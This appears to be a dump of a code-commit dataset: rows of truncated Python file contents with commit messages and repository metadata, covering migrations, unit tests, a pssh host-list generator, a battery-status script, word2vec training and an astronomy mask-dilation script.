logging.info('%s: lo... | Add a small starter library for experiment data.import climate
import codecs
import csv
import gzip
import numpy as np
import os
import pandas as pd
logging = climate.get_logger('source')
class Subject:
def __init__(self, root):
self.root = root
self.blocks = [Block(os.path.join(root, f)) for f i... | <commit_before><commit_msg>Add a small starter library for experiment data.<commit_after>import climate
import codecs
import csv
import gzip
import numpy as np
import os
import pandas as pd
logging = climate.get_logger('source')
class Subject:
def __init__(self, root):
self.root = root
self.block... | |
01732bcb55cf7cd913bebcdbc6fe883e366870bb | bin/gradle_workaround.py | bin/gradle_workaround.py | import fileinput
import argparse
import logging
BUILD_GRADLE = "platforms/android/build.gradle"
# BUILD_GRADLE = "/tmp/build.gradle"
LINE_BEFORE = "// PLUGIN GRADLE EXTENSIONS END"
OUR_ADD_REMOVE_LINE = 'apply from: "cordova-plugin-crosswalk-webview/xwalk6-workaround.gradle"'
def add_gradle_line():
for line in fi... | Add the grade_workaround used by the crosswalk plugin | Add the grade_workaround used by the crosswalk plugin
This has always been used; we now finally check it in!
| Python | bsd-3-clause | shankari/e-mission-phone,e-mission/e-mission-phone,e-mission/e-mission-phone,e-mission/e-mission-phone,e-mission/e-mission-phone,shankari/e-mission-phone,shankari/e-mission-phone,shankari/e-mission-phone | Add the grade_workaround used by the crosswalk plugin
This has always been used; we now finally check it in! | import fileinput
import argparse
import logging
BUILD_GRADLE = "platforms/android/build.gradle"
# BUILD_GRADLE = "/tmp/build.gradle"
LINE_BEFORE = "// PLUGIN GRADLE EXTENSIONS END"
OUR_ADD_REMOVE_LINE = 'apply from: "cordova-plugin-crosswalk-webview/xwalk6-workaround.gradle"'
def add_gradle_line():
for line in fi... | <commit_before><commit_msg>Add the grade_workaround used by the crosswalk plugin
This has always been used; we now finally check it in!<commit_after> | import fileinput
import argparse
import logging
BUILD_GRADLE = "platforms/android/build.gradle"
# BUILD_GRADLE = "/tmp/build.gradle"
LINE_BEFORE = "// PLUGIN GRADLE EXTENSIONS END"
OUR_ADD_REMOVE_LINE = 'apply from: "cordova-plugin-crosswalk-webview/xwalk6-workaround.gradle"'
def add_gradle_line():
for line in fi... | Add the grade_workaround used by the crosswalk plugin
This has always been used; we now finally check it in!import fileinput
import argparse
import logging
BUILD_GRADLE = "platforms/android/build.gradle"
# BUILD_GRADLE = "/tmp/build.gradle"
LINE_BEFORE = "// PLUGIN GRADLE EXTENSIONS END"
OUR_ADD_REMOVE_LINE = 'apply ... | <commit_before><commit_msg>Add the grade_workaround used by the crosswalk plugin
This has always been used; we now finally check it in!<commit_after>import fileinput
import argparse
import logging
BUILD_GRADLE = "platforms/android/build.gradle"
# BUILD_GRADLE = "/tmp/build.gradle"
LINE_BEFORE = "// PLUGIN GRADLE EXTE... | |
a15b0746426cc0560568a462f829e4c4215a0a47 | migrations/versions/0058.py | migrations/versions/0058.py | """empty message
Revision ID: 0058 set all has_banner_text
Revises: 0057 add has_banner_text
Create Date: 2021-10-03 00:31:22.285217
"""
# revision identifiers, used by Alembic.
revision = '0058 set all has_banner_text'
down_revision = '0057 add has_banner_text'
from alembic import op
def upgrade():
op.execut... | Set all events to show banner text | Set all events to show banner text
| Python | mit | NewAcropolis/api,NewAcropolis/api,NewAcropolis/api | Set all events to show banner text | """empty message
Revision ID: 0058 set all has_banner_text
Revises: 0057 add has_banner_text
Create Date: 2021-10-03 00:31:22.285217
"""
# revision identifiers, used by Alembic.
revision = '0058 set all has_banner_text'
down_revision = '0057 add has_banner_text'
from alembic import op
def upgrade():
op.execut... | <commit_before><commit_msg>Set all events to show banner text<commit_after> | """empty message
Revision ID: 0058 set all has_banner_text
Revises: 0057 add has_banner_text
Create Date: 2021-10-03 00:31:22.285217
"""
# revision identifiers, used by Alembic.
revision = '0058 set all has_banner_text'
down_revision = '0057 add has_banner_text'
from alembic import op
def upgrade():
op.execut... | Set all events to show banner text"""empty message
Revision ID: 0058 set all has_banner_text
Revises: 0057 add has_banner_text
Create Date: 2021-10-03 00:31:22.285217
"""
# revision identifiers, used by Alembic.
revision = '0058 set all has_banner_text'
down_revision = '0057 add has_banner_text'
from alembic import... | <commit_before><commit_msg>Set all events to show banner text<commit_after>"""empty message
Revision ID: 0058 set all has_banner_text
Revises: 0057 add has_banner_text
Create Date: 2021-10-03 00:31:22.285217
"""
# revision identifiers, used by Alembic.
revision = '0058 set all has_banner_text'
down_revision = '0057 ... | |
b6cb3f8cb7a9b11e76c1f7f4b983983d415aa3da | teuthology/test/test_suite.py | teuthology/test/test_suite.py | import requests
from datetime import datetime
from pytest import raises
from teuthology.config import config
from teuthology import suite
class TestSuite(object):
def test_name_timestamp_passed(self):
stamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
name = suite.make_name('suite', 'ceph', 'ke... | Add lots of unit tests for teuthology.suite | Add lots of unit tests for teuthology.suite
More to come...
Signed-off-by: Zack Cerza <f801c831581d4150a2793939287636221d62131e@inktank.com>
| Python | mit | SUSE/teuthology,tchaikov/teuthology,dmick/teuthology,robbat2/teuthology,ktdreyer/teuthology,michaelsevilla/teuthology,dreamhost/teuthology,t-miyamae/teuthology,t-miyamae/teuthology,tchaikov/teuthology,yghannam/teuthology,dreamhost/teuthology,ivotron/teuthology,zhouyuan/teuthology,yghannam/teuthology,SUSE/teuthology,zho... | Add lots of unit tests for teuthology.suite
More to come...
Signed-off-by: Zack Cerza <f801c831581d4150a2793939287636221d62131e@inktank.com> | import requests
from datetime import datetime
from pytest import raises
from teuthology.config import config
from teuthology import suite
class TestSuite(object):
def test_name_timestamp_passed(self):
stamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
name = suite.make_name('suite', 'ceph', 'ke... | <commit_before><commit_msg>Add lots of unit tests for teuthology.suite
More to come...
Signed-off-by: Zack Cerza <f801c831581d4150a2793939287636221d62131e@inktank.com><commit_after> | import requests
from datetime import datetime
from pytest import raises
from teuthology.config import config
from teuthology import suite
class TestSuite(object):
def test_name_timestamp_passed(self):
stamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
name = suite.make_name('suite', 'ceph', 'ke... | Add lots of unit tests for teuthology.suite
More to come...
Signed-off-by: Zack Cerza <f801c831581d4150a2793939287636221d62131e@inktank.com>import requests
from datetime import datetime
from pytest import raises
from teuthology.config import config
from teuthology import suite
class TestSuite(object):
def test... | <commit_before><commit_msg>Add lots of unit tests for teuthology.suite
More to come...
Signed-off-by: Zack Cerza <f801c831581d4150a2793939287636221d62131e@inktank.com><commit_after>import requests
from datetime import datetime
from pytest import raises
from teuthology.config import config
from teuthology import suit... | |
2988bc031187a21f5ff6a5c5f6af3af43dbb422c | rdmo/questions/migrations/0065_data_migration.py | rdmo/questions/migrations/0065_data_migration.py | from __future__ import unicode_literals
from django.db import migrations
def run_data_migration(apps, schema_editor):
Attribute = apps.get_model('domain', 'Attribute')
QuestionSet = apps.get_model('questions', 'QuestionSet')
questionsets = QuestionSet.objects.filter(is_collection=True)
for questions... | Add data migration to update questionsets | Add data migration to update questionsets
| Python | apache-2.0 | rdmorganiser/rdmo,rdmorganiser/rdmo,rdmorganiser/rdmo | Add data migration to update questionsets | from __future__ import unicode_literals
from django.db import migrations
def run_data_migration(apps, schema_editor):
Attribute = apps.get_model('domain', 'Attribute')
QuestionSet = apps.get_model('questions', 'QuestionSet')
questionsets = QuestionSet.objects.filter(is_collection=True)
for questions... | <commit_before><commit_msg>Add data migration to update questionsets<commit_after> | from __future__ import unicode_literals
from django.db import migrations
def run_data_migration(apps, schema_editor):
Attribute = apps.get_model('domain', 'Attribute')
QuestionSet = apps.get_model('questions', 'QuestionSet')
questionsets = QuestionSet.objects.filter(is_collection=True)
for questions... | Add data migration to update questionsetsfrom __future__ import unicode_literals
from django.db import migrations
def run_data_migration(apps, schema_editor):
Attribute = apps.get_model('domain', 'Attribute')
QuestionSet = apps.get_model('questions', 'QuestionSet')
questionsets = QuestionSet.objects.fil... | <commit_before><commit_msg>Add data migration to update questionsets<commit_after>from __future__ import unicode_literals
from django.db import migrations
def run_data_migration(apps, schema_editor):
Attribute = apps.get_model('domain', 'Attribute')
QuestionSet = apps.get_model('questions', 'QuestionSet')
... | |
9db3d255c396b4b785ff2f3bfa99b801824cf713 | tests/federalregister.py | tests/federalregister.py | from mock import patch
from parser.federalregister import *
from unittest import TestCase
class FederalRegisterTest(TestCase):
@patch('parser.federalregister.urlopen')
def test_fetch_notice_xml(self, urlopen):
"""We don't actually want to call out to federal register, so we use
a mock. Unfortu... | Add tests for federal register client | Add tests for federal register client
| Python | cc0-1.0 | cmc333333/regulations-parser,jmcarp/regulations-parser,tadhg-ohiggins/regulations-parser,tadhg-ohiggins/regulations-parser,grapesmoker/regulations-parser,eregs/regulations-parser,EricSchles/regulations-parser,adderall/regulations-parser,willbarton/regulations-parser,cmc333333/regulations-parser,ascott1/regulations-pars... | Add tests for federal register client | from mock import patch
from parser.federalregister import *
from unittest import TestCase
class FederalRegisterTest(TestCase):
@patch('parser.federalregister.urlopen')
def test_fetch_notice_xml(self, urlopen):
"""We don't actually want to call out to federal register, so we use
a mock. Unfortu... | <commit_before><commit_msg>Add tests for federal register client<commit_after> | from mock import patch
from parser.federalregister import *
from unittest import TestCase
class FederalRegisterTest(TestCase):
@patch('parser.federalregister.urlopen')
def test_fetch_notice_xml(self, urlopen):
"""We don't actually want to call out to federal register, so we use
a mock. Unfortu... | Add tests for federal register clientfrom mock import patch
from parser.federalregister import *
from unittest import TestCase
class FederalRegisterTest(TestCase):
@patch('parser.federalregister.urlopen')
def test_fetch_notice_xml(self, urlopen):
"""We don't actually want to call out to federal regist... | <commit_before><commit_msg>Add tests for federal register client<commit_after>from mock import patch
from parser.federalregister import *
from unittest import TestCase
class FederalRegisterTest(TestCase):
@patch('parser.federalregister.urlopen')
def test_fetch_notice_xml(self, urlopen):
"""We don't ac... | |
8a70a4db5577eaaf7e45f4865fdf49ecb855afe0 | precision/accounts/urls.py | precision/accounts/urls.py | from django.conf.urls import url
from .views import SignInView
urlpatterns = [
url(
regex=r'^sign-in/$',
view=SignInView.as_view(),
name='login'
),
]
| Add url pattern for SignInView class | Add url pattern for SignInView class
| Python | mit | FreeCodeCampRoma/precision_school-management,FreeCodeCampRoma/precision_school-management,FreeCodeCampRoma/precision_school-management,FreeCodeCampRoma/precision_school-management | Add url pattern for SignInView class | from django.conf.urls import url
from .views import SignInView
urlpatterns = [
url(
regex=r'^sign-in/$',
view=SignInView.as_view(),
name='login'
),
]
| <commit_before><commit_msg>Add url pattern for SignInView class<commit_after> | from django.conf.urls import url
from .views import SignInView
urlpatterns = [
url(
regex=r'^sign-in/$',
view=SignInView.as_view(),
name='login'
),
]
| Add url pattern for SignInView classfrom django.conf.urls import url
from .views import SignInView
urlpatterns = [
url(
regex=r'^sign-in/$',
view=SignInView.as_view(),
name='login'
),
]
| <commit_before><commit_msg>Add url pattern for SignInView class<commit_after>from django.conf.urls import url
from .views import SignInView
urlpatterns = [
url(
regex=r'^sign-in/$',
view=SignInView.as_view(),
name='login'
),
]
| |
fcfc56bdbe2d9cf1173ac54f75e59c270b1bbbd3 | tests/test_exceptions.py | tests/test_exceptions.py | import unittest
from soccermetrics import SoccermetricsRestException
class RestExceptionFormatTest(unittest.TestCase):
def setUp(self):
self.exc = SoccermetricsRestException(404,"/path/to/resource")
def test_exception_status(self):
self.assertEqual(self.exc.status, 404)
def test_excepti... | Add unit testing of custom exceptions | Add unit testing of custom exceptions
| Python | mit | soccermetrics/soccermetrics-client-py | Add unit testing of custom exceptions | import unittest
from soccermetrics import SoccermetricsRestException
class RestExceptionFormatTest(unittest.TestCase):
def setUp(self):
self.exc = SoccermetricsRestException(404,"/path/to/resource")
def test_exception_status(self):
self.assertEqual(self.exc.status, 404)
def test_excepti... | <commit_before><commit_msg>Add unit testing of custom exceptions<commit_after> | import unittest
from soccermetrics import SoccermetricsRestException
class RestExceptionFormatTest(unittest.TestCase):
def setUp(self):
self.exc = SoccermetricsRestException(404,"/path/to/resource")
def test_exception_status(self):
self.assertEqual(self.exc.status, 404)
def test_excepti... | Add unit testing of custom exceptionsimport unittest
from soccermetrics import SoccermetricsRestException
class RestExceptionFormatTest(unittest.TestCase):
def setUp(self):
self.exc = SoccermetricsRestException(404,"/path/to/resource")
def test_exception_status(self):
self.assertEqual(self.e... | <commit_before><commit_msg>Add unit testing of custom exceptions<commit_after>import unittest
from soccermetrics import SoccermetricsRestException
class RestExceptionFormatTest(unittest.TestCase):
def setUp(self):
self.exc = SoccermetricsRestException(404,"/path/to/resource")
def test_exception_stat... | |
a68e78bd0b5174d2c8a40497d3d5842f66c65a34 | tests/test_middleware.py | tests/test_middleware.py |
from django.conf.urls import patterns, url
from django.contrib.auth.models import User
from rest_framework.authentication import TokenAuthentication
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
from rest_framework.views import APIView
urlpatterns = patterns(
'',
... | Add test integrated with middleware | Add test integrated with middleware
| Python | bsd-2-clause | thedrow/django-rest-framework-1,tomchristie/django-rest-framework,YBJAY00000/django-rest-framework,edx/django-rest-framework,VishvajitP/django-rest-framework,arpheno/django-rest-framework,bluedazzle/django-rest-framework,nhorelik/django-rest-framework,qsorix/django-rest-framework,vstoykov/django-rest-framework,werthen/... | Add test integrated with middleware |
from django.conf.urls import patterns, url
from django.contrib.auth.models import User
from rest_framework.authentication import TokenAuthentication
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
from rest_framework.views import APIView
urlpatterns = patterns(
'',
... | <commit_before><commit_msg>Add test integrated with middleware<commit_after> |
from django.conf.urls import patterns, url
from django.contrib.auth.models import User
from rest_framework.authentication import TokenAuthentication
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
from rest_framework.views import APIView
urlpatterns = patterns(
'',
... | Add test integrated with middleware
from django.conf.urls import patterns, url
from django.contrib.auth.models import User
from rest_framework.authentication import TokenAuthentication
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
from rest_framework.views import APIView
... | <commit_before><commit_msg>Add test integrated with middleware<commit_after>
from django.conf.urls import patterns, url
from django.contrib.auth.models import User
from rest_framework.authentication import TokenAuthentication
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
... | |
18ade96032dbbeaee6f96ff364cb3dc8726970da | tests/test_q_function.py | tests/test_q_function.py | import unittest
import random
import numpy as np
import q_function
class TestQFunction(unittest.TestCase):
def setUp(self):
pass
def test_sample(self):
q_func = q_function.FCSIQFunction(1, 2, 10, 2)
N = 1000
greedy_count = 0
for _ in xrange(N):
random_st... | Add a test for QFunction | Add a test for QFunction
| Python | mit | toslunar/chainerrl,toslunar/chainerrl | Add a test for QFunction | import unittest
import random
import numpy as np
import q_function
class TestQFunction(unittest.TestCase):
def setUp(self):
pass
def test_sample(self):
q_func = q_function.FCSIQFunction(1, 2, 10, 2)
N = 1000
greedy_count = 0
for _ in xrange(N):
random_st... | <commit_before><commit_msg>Add a test for QFunction<commit_after> | import unittest
import random
import numpy as np
import q_function
class TestQFunction(unittest.TestCase):
def setUp(self):
pass
def test_sample(self):
q_func = q_function.FCSIQFunction(1, 2, 10, 2)
N = 1000
greedy_count = 0
for _ in xrange(N):
random_st... | Add a test for QFunctionimport unittest
import random
import numpy as np
import q_function
class TestQFunction(unittest.TestCase):
def setUp(self):
pass
def test_sample(self):
q_func = q_function.FCSIQFunction(1, 2, 10, 2)
N = 1000
greedy_count = 0
for _ in xrange(N... | <commit_before><commit_msg>Add a test for QFunction<commit_after>import unittest
import random
import numpy as np
import q_function
class TestQFunction(unittest.TestCase):
def setUp(self):
pass
def test_sample(self):
q_func = q_function.FCSIQFunction(1, 2, 10, 2)
N = 1000
g... | |
f7da0521152101466e6036245ed4ce2f5a0e15fe | project-dsh-generator.py | project-dsh-generator.py | #!/usr/bin/env python3
"""
Simple script that generates hosts files usable with dsh/pssh
for runnign administrative actions on all hosts in a particular
labs project. Salt is just way too unreliable to be useful
for this purpose.
Hits the wikitech API.
You can execute commands via pssh like:
pssh -t0 -p4 -h <hos... | Add script to generate list of instances in any project | Add script to generate list of instances in any project
| Python | cc0-1.0 | yuvipanda/personal-wiki | Add script to generate list of instances in any project | #!/usr/bin/env python3
"""
Simple script that generates hosts files usable with dsh/pssh
for runnign administrative actions on all hosts in a particular
labs project. Salt is just way too unreliable to be useful
for this purpose.
Hits the wikitech API.
You can execute commands via pssh like:
pssh -t0 -p4 -h <hos... | <commit_before><commit_msg>Add script to generate list of instances in any project<commit_after> | #!/usr/bin/env python3
"""
Simple script that generates hosts files usable with dsh/pssh
for runnign administrative actions on all hosts in a particular
labs project. Salt is just way too unreliable to be useful
for this purpose.
Hits the wikitech API.
You can execute commands via pssh like:
pssh -t0 -p4 -h <hos... | Add script to generate list of instances in any project#!/usr/bin/env python3
"""
Simple script that generates hosts files usable with dsh/pssh
for runnign administrative actions on all hosts in a particular
labs project. Salt is just way too unreliable to be useful
for this purpose.
Hits the wikitech API.
You can ex... | <commit_before><commit_msg>Add script to generate list of instances in any project<commit_after>#!/usr/bin/env python3
"""
Simple script that generates hosts files usable with dsh/pssh
for runnign administrative actions on all hosts in a particular
labs project. Salt is just way too unreliable to be useful
for this pur... | |
727b17fd49c37c1b48629944c09e3546eb33774c | bin/osx_battery.py | bin/osx_battery.py | #!/usr/bin/env python
# coding=UTF-8
#
# http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/
import math, subprocess
p = subprocess.Popen(["ioreg", "-rc", "AppleSmartBattery"], stdout=subprocess.PIPE)
output = p.communicate()[0]
o_max = [l for l in output.splitlines() if 'MaxCapacity' in l][0]
o_cur = [l fo... | Add Steve Losh's script to display battery status on OS X | Add Steve Losh's script to display battery status on OS X
| Python | apache-2.0 | unixorn/jpb.zshplugin,unixorn/jpb.zshplugin,unixorn/jpb.zshplugin,unixorn/jpb.zshplugin | Add Steve Losh's script to display battery status on OS X | #!/usr/bin/env python
# coding=UTF-8
#
# http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/
import math, subprocess
p = subprocess.Popen(["ioreg", "-rc", "AppleSmartBattery"], stdout=subprocess.PIPE)
output = p.communicate()[0]
o_max = [l for l in output.splitlines() if 'MaxCapacity' in l][0]
o_cur = [l fo... | <commit_before><commit_msg>Add Steve Losh's script to display battery status on OS X<commit_after> | #!/usr/bin/env python
# coding=UTF-8
#
# http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/
import math, subprocess
p = subprocess.Popen(["ioreg", "-rc", "AppleSmartBattery"], stdout=subprocess.PIPE)
output = p.communicate()[0]
o_max = [l for l in output.splitlines() if 'MaxCapacity' in l][0]
o_cur = [l fo... | Add Steve Losh's script to display battery status on OS X#!/usr/bin/env python
# coding=UTF-8
#
# http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/
import math, subprocess
p = subprocess.Popen(["ioreg", "-rc", "AppleSmartBattery"], stdout=subprocess.PIPE)
output = p.communicate()[0]
o_max = [l for l in ou... | <commit_before><commit_msg>Add Steve Losh's script to display battery status on OS X<commit_after>#!/usr/bin/env python
# coding=UTF-8
#
# http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/
import math, subprocess
p = subprocess.Popen(["ioreg", "-rc", "AppleSmartBattery"], stdout=subprocess.PIPE)
output = p... | |
f1d5580eac25260236d115edc2bc8dab649b46e0 | xc7/fasm2bels/tests/test_verilog_modeling.py | xc7/fasm2bels/tests/test_verilog_modeling.py | import unittest
from fasm2bels.verilog_modeling import Wire, Constant, Bus, NoConnect
class TestVerilogModeling(unittest.TestCase):
def test_connections(self):
self.assertEqual("a", Wire("a").to_string())
self.assertEqual("1'b0", Constant(0).to_string())
self.assertEqual("1'b1", Constant(1... | Add test for new connection modelling objects. | Add test for new connection modelling objects.
Signed-off-by: Keith Rothman <1bc19627a439baf17510dc2d0b2d250c96d445a5@users.noreply.github.com>
| Python | isc | SymbiFlow/symbiflow-arch-defs,SymbiFlow/symbiflow-arch-defs | Add test for new connection modelling objects.
Signed-off-by: Keith Rothman <1bc19627a439baf17510dc2d0b2d250c96d445a5@users.noreply.github.com> | import unittest
from fasm2bels.verilog_modeling import Wire, Constant, Bus, NoConnect
class TestVerilogModeling(unittest.TestCase):
def test_connections(self):
self.assertEqual("a", Wire("a").to_string())
self.assertEqual("1'b0", Constant(0).to_string())
self.assertEqual("1'b1", Constant(1... | <commit_before><commit_msg>Add test for new connection modelling objects.
Signed-off-by: Keith Rothman <1bc19627a439baf17510dc2d0b2d250c96d445a5@users.noreply.github.com><commit_after> | import unittest
from fasm2bels.verilog_modeling import Wire, Constant, Bus, NoConnect
class TestVerilogModeling(unittest.TestCase):
def test_connections(self):
self.assertEqual("a", Wire("a").to_string())
self.assertEqual("1'b0", Constant(0).to_string())
self.assertEqual("1'b1", Constant(1... | Add test for new connection modelling objects.
Signed-off-by: Keith Rothman <1bc19627a439baf17510dc2d0b2d250c96d445a5@users.noreply.github.com>import unittest
from fasm2bels.verilog_modeling import Wire, Constant, Bus, NoConnect
class TestVerilogModeling(unittest.TestCase):
def test_connections(self):
se... | <commit_before><commit_msg>Add test for new connection modelling objects.
Signed-off-by: Keith Rothman <1bc19627a439baf17510dc2d0b2d250c96d445a5@users.noreply.github.com><commit_after>import unittest
from fasm2bels.verilog_modeling import Wire, Constant, Bus, NoConnect
class TestVerilogModeling(unittest.TestCase):
... | |
4fd92cba5dce2241663a36ddb765bb2052715921 | yunity/tests/unit/test__utils_tests__fake.py | yunity/tests/unit/test__utils_tests__fake.py | from yunity.utils.tests.abc import BaseTestCase
from yunity.utils.tests.fake import faker as default_faker, Faker
from yunity.utils.validation import Validator, OfType, HasKey, IsReasonableLengthString
class ValidLocation(Validator):
def __call__(self, location):
(HasKey('description') & IsReasonableLengt... | Add test for fake data generation | Add test for fake data generation
| Python | agpl-3.0 | yunity/foodsaving-backend,yunity/foodsaving-backend,yunity/yunity-core,yunity/foodsaving-backend,yunity/yunity-core | Add test for fake data generation | from yunity.utils.tests.abc import BaseTestCase
from yunity.utils.tests.fake import faker as default_faker, Faker
from yunity.utils.validation import Validator, OfType, HasKey, IsReasonableLengthString
class ValidLocation(Validator):
def __call__(self, location):
(HasKey('description') & IsReasonableLengt... | <commit_before><commit_msg>Add test for fake data generation<commit_after> | from yunity.utils.tests.abc import BaseTestCase
from yunity.utils.tests.fake import faker as default_faker, Faker
from yunity.utils.validation import Validator, OfType, HasKey, IsReasonableLengthString
class ValidLocation(Validator):
def __call__(self, location):
(HasKey('description') & IsReasonableLengt... | Add test for fake data generationfrom yunity.utils.tests.abc import BaseTestCase
from yunity.utils.tests.fake import faker as default_faker, Faker
from yunity.utils.validation import Validator, OfType, HasKey, IsReasonableLengthString
class ValidLocation(Validator):
def __call__(self, location):
(HasKey('... | <commit_before><commit_msg>Add test for fake data generation<commit_after>from yunity.utils.tests.abc import BaseTestCase
from yunity.utils.tests.fake import faker as default_faker, Faker
from yunity.utils.validation import Validator, OfType, HasKey, IsReasonableLengthString
class ValidLocation(Validator):
def __... | |
186aef390cd3c35c4b5f450951cd7001fa63d5ff | train_word2vec.py | train_word2vec.py | from __future__ import print_function
import sys
import os
import logging
from nltk.tokenize import sent_tokenize, word_tokenize
from gensim.models import Word2Vec
logging.basicConfig(level=logging.INFO)
class Word2VecCorpus():
def __init__(self, basedir):
self.basedir = basedir
def __iter__(self):
... | Add script to train a word2vec model | Add script to train a word2vec model
| Python | apache-2.0 | nlesc-sherlock/concept-search,nlesc-sherlock/concept-search,nlesc-sherlock/concept-search,nlesc-sherlock/concept-search | Add script to train a word2vec model | from __future__ import print_function
import sys
import os
import logging
from nltk.tokenize import sent_tokenize, word_tokenize
from gensim.models import Word2Vec
logging.basicConfig(level=logging.INFO)
class Word2VecCorpus():
def __init__(self, basedir):
self.basedir = basedir
def __iter__(self):
... | <commit_before><commit_msg>Add script to train a word2vec model<commit_after> | from __future__ import print_function
import sys
import os
import logging
from nltk.tokenize import sent_tokenize, word_tokenize
from gensim.models import Word2Vec
logging.basicConfig(level=logging.INFO)
class Word2VecCorpus():
def __init__(self, basedir):
self.basedir = basedir
def __iter__(self):
... | Add script to train a word2vec modelfrom __future__ import print_function
import sys
import os
import logging
from nltk.tokenize import sent_tokenize, word_tokenize
from gensim.models import Word2Vec
logging.basicConfig(level=logging.INFO)
class Word2VecCorpus():
def __init__(self, basedir):
self.basedir... | <commit_before><commit_msg>Add script to train a word2vec model<commit_after>from __future__ import print_function
import sys
import os
import logging
from nltk.tokenize import sent_tokenize, word_tokenize
from gensim.models import Word2Vec
logging.basicConfig(level=logging.INFO)
class Word2VecCorpus():
def __in... | |
8c095383bf7b64112b86d32ebf8feb448416a6c7 | src-backend/api/tests/test_procedures.py | src-backend/api/tests/test_procedures.py | from django.test import TestCase, Client
from rest_framework import status
from rest_framework.authtoken.models import Token
from nose.tools import assert_equals, assert_true
from utils.decorators import initialize_permissions
from utils.helpers import add_token_to_header
from utils import factories
import json
class... | Add test for ensuring procedures have the correct owner | Add test for ensuring procedures have the correct owner
| Python | bsd-3-clause | SanaMobile/sana.protocol_builder,SanaMobile/sana.protocol_builder,SanaMobile/sana.protocol_builder,SanaMobile/sana.protocol_builder,SanaMobile/sana.protocol_builder | Add test for ensuring procedures have the correct owner | from django.test import TestCase, Client
from rest_framework import status
from rest_framework.authtoken.models import Token
from nose.tools import assert_equals, assert_true
from utils.decorators import initialize_permissions
from utils.helpers import add_token_to_header
from utils import factories
import json
class... | <commit_before><commit_msg>Add test for ensuring procedures have the correct owner<commit_after> | from django.test import TestCase, Client
from rest_framework import status
from rest_framework.authtoken.models import Token
from nose.tools import assert_equals, assert_true
from utils.decorators import initialize_permissions
from utils.helpers import add_token_to_header
from utils import factories
import json
class... | Add test for ensuring procedures have the correct ownerfrom django.test import TestCase, Client
from rest_framework import status
from rest_framework.authtoken.models import Token
from nose.tools import assert_equals, assert_true
from utils.decorators import initialize_permissions
from utils.helpers import add_token_to... | <commit_before><commit_msg>Add test for ensuring procedures have the correct owner<commit_after>from django.test import TestCase, Client
from rest_framework import status
from rest_framework.authtoken.models import Token
from nose.tools import assert_equals, assert_true
from utils.decorators import initialize_permissio... | |
601d0183674b555c231954dbf92955e8d8918d0a | contrib_bots/bots/wikipedia/test_wikipedia.py | contrib_bots/bots/wikipedia/test_wikipedia.py | #!/usr/bin/env python
from __future__ import absolute_import
from __future__ import print_function
import os
import sys
our_dir = os.path.dirname(os.path.abspath(__file__))
# For dev setups, we can find the API in the repo itself.
if os.path.exists(os.path.join(our_dir, '..')):
sys.path.insert(0, '..')
from bots... | Add tests for wikipedia bot in contrib_bots. | testsuite: Add tests for wikipedia bot in contrib_bots.
Add test file 'Test_wikipedia.py'.
Since wikipedia links for the same query may different according
to relevance. This test will also be written by mocking HTTP
traffic. But this can work for now.
| Python | apache-2.0 | jackrzhang/zulip,verma-varsha/zulip,brockwhittaker/zulip,rishig/zulip,vaidap/zulip,andersk/zulip,dhcrzf/zulip,zulip/zulip,shubhamdhama/zulip,showell/zulip,jrowan/zulip,Galexrt/zulip,rht/zulip,timabbott/zulip,rht/zulip,rishig/zulip,shubhamdhama/zulip,hackerkid/zulip,vabs22/zulip,zulip/zulip,andersk/zulip,kou/zulip,rishi... | testsuite: Add tests for wikipedia bot in contrib_bots.
Add test file 'Test_wikipedia.py'.
Since wikipedia links for the same query may different according
to relevance. This test will also be written by mocking HTTP
traffic. But this can work for now. | #!/usr/bin/env python
from __future__ import absolute_import
from __future__ import print_function
import os
import sys
our_dir = os.path.dirname(os.path.abspath(__file__))
# For dev setups, we can find the API in the repo itself.
if os.path.exists(os.path.join(our_dir, '..')):
sys.path.insert(0, '..')
from bots... | <commit_before><commit_msg>testsuite: Add tests for wikipedia bot in contrib_bots.
Add test file 'Test_wikipedia.py'.
Since wikipedia links for the same query may different according
to relevance. This test will also be written by mocking HTTP
traffic. But this can work for now.<commit_after> | #!/usr/bin/env python
from __future__ import absolute_import
from __future__ import print_function
import os
import sys
our_dir = os.path.dirname(os.path.abspath(__file__))
# For dev setups, we can find the API in the repo itself.
if os.path.exists(os.path.join(our_dir, '..')):
sys.path.insert(0, '..')
from bots... | testsuite: Add tests for wikipedia bot in contrib_bots.
Add test file 'Test_wikipedia.py'.
Since wikipedia links for the same query may different according
to relevance. This test will also be written by mocking HTTP
traffic. But this can work for now.#!/usr/bin/env python
from __future__ import absolute_import
from... | <commit_before><commit_msg>testsuite: Add tests for wikipedia bot in contrib_bots.
Add test file 'Test_wikipedia.py'.
Since wikipedia links for the same query may different according
to relevance. This test will also be written by mocking HTTP
traffic. But this can work for now.<commit_after>#!/usr/bin/env python
fr... | |
a4a5dd1943b074cf23cd5420ca0a5ac56fadbc38 | 14B-088/HI/alter_clean_mask.py | 14B-088/HI/alter_clean_mask.py |
'''
Dilate the existing clean mask.
'''
from astropy.io import fits
from skimage.morphology import disk
from scipy import ndimage as nd
mask = fits.open("M33_14B-088_HI_mask_modified.fits", mode='update')
pbcov = fits.getdata("M33_14B-088_pbcor.fits")
pb_thresh = 0.2
pb_mask = pbcov > pb_thresh
struct = disk(100)... | Mask dilation to include missing flux near some edges | Mask dilation to include missing flux near some edges
| Python | mit | e-koch/VLA_Lband,e-koch/VLA_Lband | Mask dilation to include missing flux near some edges |
'''
Dilate the existing clean mask.
'''
from astropy.io import fits
from skimage.morphology import disk
from scipy import ndimage as nd
mask = fits.open("M33_14B-088_HI_mask_modified.fits", mode='update')
pbcov = fits.getdata("M33_14B-088_pbcor.fits")
pb_thresh = 0.2
pb_mask = pbcov > pb_thresh
struct = disk(100)... | <commit_before><commit_msg>Mask dilation to include missing flux near some edges<commit_after> |
'''
Dilate the existing clean mask.
'''
from astropy.io import fits
from skimage.morphology import disk
from scipy import ndimage as nd
